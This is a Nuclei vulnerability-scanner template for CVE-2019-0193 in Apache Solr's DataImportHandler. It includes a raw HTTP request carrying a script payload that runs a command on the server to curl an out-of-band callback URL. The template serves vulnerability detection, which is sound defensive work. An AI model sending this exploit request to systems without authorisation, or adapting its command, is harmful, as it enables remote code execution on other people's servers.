65 lines
2.9 KiB
YAML
65 lines
2.9 KiB
YAML
id: CVE-2019-0193
|
|
|
|
info:
|
|
name: Apache Solr DataImportHandler <8.2.0 - Remote Code Execution
|
|
author: pdteam
|
|
severity: high
|
|
description: |
|
|
Apache Solr is vulnerable to remote code execution vulnerabilities via the DataImportHandler, an optional but popular module to pull in data from databases and other sources. The module has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk.
|
|
remediation: |
|
|
Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
|
|
- https://paper.seebug.org/1009/
|
|
- https://issues.apache.org/jira/browse/SOLR-13669
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-0193
|
|
- https://lists.apache.org/thread.html/1addbb49a1fc0947fb32ca663d76d93cfaade35a4848a76d4b4ded9c@%3Cissues.lucene.apache.org%3E
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2019-0193
|
|
cwe-id: CWE-94
|
|
epss-score: 0.95869
|
|
epss-percentile: 0.99213
|
|
cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: solr
|
|
tags: cve2019,apache,rce,solr,oast,kev,vulhub,cve
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /solr/admin/cores?wt=json HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Language: en
|
|
Connection: close
|
|
- |
|
|
POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-type: application/x-www-form-urlencoded
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: curl"
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: core
|
|
group: 1
|
|
regex:
|
|
- '"name"\:"(.*?)"'
|
|
internal: true
|